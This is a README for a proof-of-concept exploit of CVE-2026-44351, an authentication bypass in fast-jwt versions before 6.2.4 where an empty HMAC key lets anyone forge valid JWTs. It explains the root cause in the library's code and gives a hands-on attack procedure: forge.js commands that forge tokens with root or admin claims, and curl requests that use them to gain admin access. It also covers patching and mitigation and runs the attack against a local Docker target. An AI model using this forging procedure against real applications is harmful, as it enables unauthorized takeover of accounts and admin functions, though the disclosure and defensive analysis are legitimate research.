
Proof-of-concept for CVE-2026-44351, an authentication bypass in fast-jwt <6.2.4 where an empty HMAC key lets attackers forge arbitrary JWTs accepted as valid.
fast-jwtPoC of the authentication bypass (auth bypass) in fast-jwt (versions prior to
6.2.4) that allows any unauthenticated attacker to forge arbitrary JWTs and have them
accepted as authentic by the target application.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Use of Weak Credentials) / CWE-287 (Improper Authentication) / CWE-326 (Inadequate Encryption Strength) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnerable | fast-jwt < 6.2.4 (verified against 6.2.3) |
| Patch | [email protected] — rejects empty HMAC keys with FAST_JWT_INVALID_KEY |
📄 Detailed technical documentation (root cause with real code, attack anatomy, patch analysis):
docs/CVE-2026-44351.md
fast-jwt allows passing an asynchronous function as the key resolver (key) — the
typical pattern when integrating with a JWKS server:
const verify = createVerifier({
// standard JWKS pattern documented by the library itself
key: async (decoded) => jwks[decoded.header.kid] || '',
})
When the incoming token's kid does not exist, that pattern returns ''. fast-jwt
converts the empty string into a zero-length Buffer (Buffer.alloc(0)), passes it
to crypto.createSecretKey (Node accepts it silently), and verifies the token's signature
using HMAC with an empty key.
Since HMAC-SHA256(key='', input='<header>.<payload>') is computable by anyone, the
attacker does not need to know the real secret: they forge a token with whatever claims
they want (sub, admin, roles, scopes, iss, aud, …) and the verifier returns it as
authentic.
It only affects the asynchronous key resolution path (function). The synchronous configuration
key: ''is correctly rejected becausecreateVerifiershort-circuits on falsy values.
The flaw lives in src/verifier.js. In the async key resolver flow:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// branch !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // the HMAC family is assigned
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (no length check)
verifyToken(currentKey, decoded, validationContext)
})
And the signature is validated with src/crypto.js:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) works, the HMAC of the input is computable
by the attacker, and the forged token is accepted.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ accepts | ✅ accepts | ✅ accepts |
(d, cb) => cb(null, '') | (default) | ✅ accepts | ✅ accepts | ✅ accepts |
async d => keys[d.header.kid] || '' | (default) | ✅ accepts | ✅ accepts | ✅ accepts |
async () => '' | ['HS256','HS384','HS512'] | ✅ accepts | ✅ accepts | ✅ accepts |
async () => '' | ['HS256','RS256'] | ✅ accepts | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
The attack is executed by hand: the only artifact is forge.js, which crafts the JWT
signed with an empty key. Sending and validation are done with curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target ready
Docker is only used to run the vulnerable target, not to exploit it. The rest of the attack is manual.
Identify a real JWT from the app (for example from an authenticated request) and inspect its header/payload without validating the signature:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Points to validate:
kid → the app resolves keys by kid (possibly JWKS).kid with 401 but does not present
invalid algo/invalid key, the resolver probably does keys[kid] || ''.node forge.js # token on screen + ready curl command
node forge.js -o /tmp/jwt.txt # saves the token to a file
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
The script always signs the chosen {alg, typ, kid} header and payload using
HMAC-SHA* with an empty key (secret: ""), without knowing the app's real secret.
With the token copied (or read from the file):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Expected response if the target is vulnerable:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Case | Command | Result |
|---|---|---|
| No token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Invalid token | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Forged token | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + admin access |
The bypass is reproducible by changing claims and repeating steps 2–3 (post-exploitation:
escalate to role, scopes, another sub, etc.).
Quick comparison between the vulnerable and patched versions:
npm run demo # [email protected] -> forged token ACCEPTED
npm run fixed # [email protected] -> forged token REJECTED (FAST_JWT_INVALID_KEY)
Also in Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] or higher: prepareKeyOrSecret rejects HMAC keys
of zero length with FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) as a fallback:
return undefined/null and treat that case as a key resolution error.cache: false
during the transition: the verification cache (by default 1000 entries / 600s TTL)
may retain previously accepted forged tokens.The server also exposes an administration console (public/) so that the
exploitation can be seen on a real app: corporate login, dashboard with claims, admin
access panel, and an integrated Red Team view.
node server.js # or again: docker compose up -d --build server
open http://localhost:3000
Demo accounts: